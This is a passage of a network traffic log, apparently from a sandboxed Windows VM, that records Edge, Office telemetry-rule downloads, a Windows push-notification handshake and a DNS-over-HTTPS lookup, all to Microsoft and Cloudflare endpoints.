47	192.168.2.6	49785	94.245.104.56	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:32 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 13:43:32 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Wed, 20 Nov 2024 13:43:32 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=990f03dcbfce000294e864b1676ff62b24b284f2b44f33fef321aa8373d2288e;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=990f03dcbfce000294e864b1676ff62b24b284f2b44f33fef321aa8373d2288e;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:32 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:32 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f14fa7ac-201e-000c-4a8c-3a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134332Z-185f5d8b95c96jn4hC1NYCbgp80000000a8g00000000kbk0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:32 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:34 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:34 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 70a27ff5-201e-0051-4e8c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134334Z-1777c6cb754gvvgfhC1TEBz4rg00000009s0000000009qr8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:34 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:34 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:34 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: feb02638-401e-0067-7b8c-3a09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134334Z-185f5d8b95c5lcmhhC1NYCsnsw0000000adg00000000809f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:34 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:34 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:34 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134334Z-1777c6cb754g9zd5hC1TEBfvpw00000009u000000000az0q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:34 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:35 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:35 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: bfe6d614-201e-006e-7a8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134335Z-185f5d8b95cf7qddhC1NYC66an0000000ab000000000g1v1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:35 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:35 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:35 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: b0c2e714-101e-000b-0df2-3a5e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134335Z-185f5d8b95ctl8xlhC1NYCn94g0000000ae0000000006mz1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:36 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49802	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:36 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 61 71 7a 6f 70 48 34 33 45 30 43 74 38 59 66 2b 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 64 66 33 32 61 39 61 65 63 64 65 36 32 63 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: aqzopH43E0Ct8Yf+.1Context: adf32a9aecde62c2
2024-11-20 13:43:36 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-20 13:43:36 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 61 71 7a 6f 70 48 34 33 45 30 43 74 38 59 66 2b 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 64 66 33 32 61 39 61 65 63 64 65 36 32 63 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 62 4b 56 72 70 2b 6f 50 45 64 4a 42 78 38 52 74 79 78 33 4d 45 4a 7a 66 69 36 58 48 6b 58 6b 4e 77 59 4f 31 61 54 57 30 6b 58 64 6c 78 2f 6a 7a 47 71 49 45 75 6c 50 73 79 57 6d 31 62 6f 69 66 30 31 35 36 75 43 53 70 65 35 6c 33 6d 44 75 64 58 4b 42 62 71 48 38 4b 73 44 68 6b 73 45 76 79 6c 44 30 46 6b 77 50 71 30 6d 62 53 32 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: aqzopH43E0Ct8Yf+.2Context: adf32a9aecde62c2<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAbKVrp+oPEdJBx8Rtyx3MEJzfi6XHkXkNwYO1aTW0kXdlx/jzGqIEulPsyWm1boif0156uCSpe5l3mDudXKBbqH8KsDhksEvylD0FkwPq0mbS2
2024-11-20 13:43:36 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 61 71 7a 6f 70 48 34 33 45 30 43 74 38 59 66 2b 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 64 66 33 32 61 39 61 65 63 64 65 36 32 63 32 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: aqzopH43E0Ct8Yf+.3Context: adf32a9aecde62c2<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-20 13:43:36 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-20 13:43:36 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 64 50 61 79 5a 6c 4c 59 79 30 43 74 70 55 54 4b 49 44 51 50 77 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: dPayZlLYy0CtpUTKIDQPwg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:36 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:36 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 7511d71d-801e-0083-6e8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134336Z-185f5d8b95cwtv72hC1NYC141w0000000a80000000009m7z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:36 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:36 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:37 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:36 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 62f36519-501e-0016-468c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134336Z-1777c6cb754xlpjshC1TEBv8cc00000009qg00000000muz5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:37 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	49820	162.159.61.3	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:36 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-20 13:43:36 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-20 13:43:37 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 20 Nov 2024 13:43:36 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e58deb75c2e0cc2-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 13:43:37 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 fc 00 04 ac d9 a5 83 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
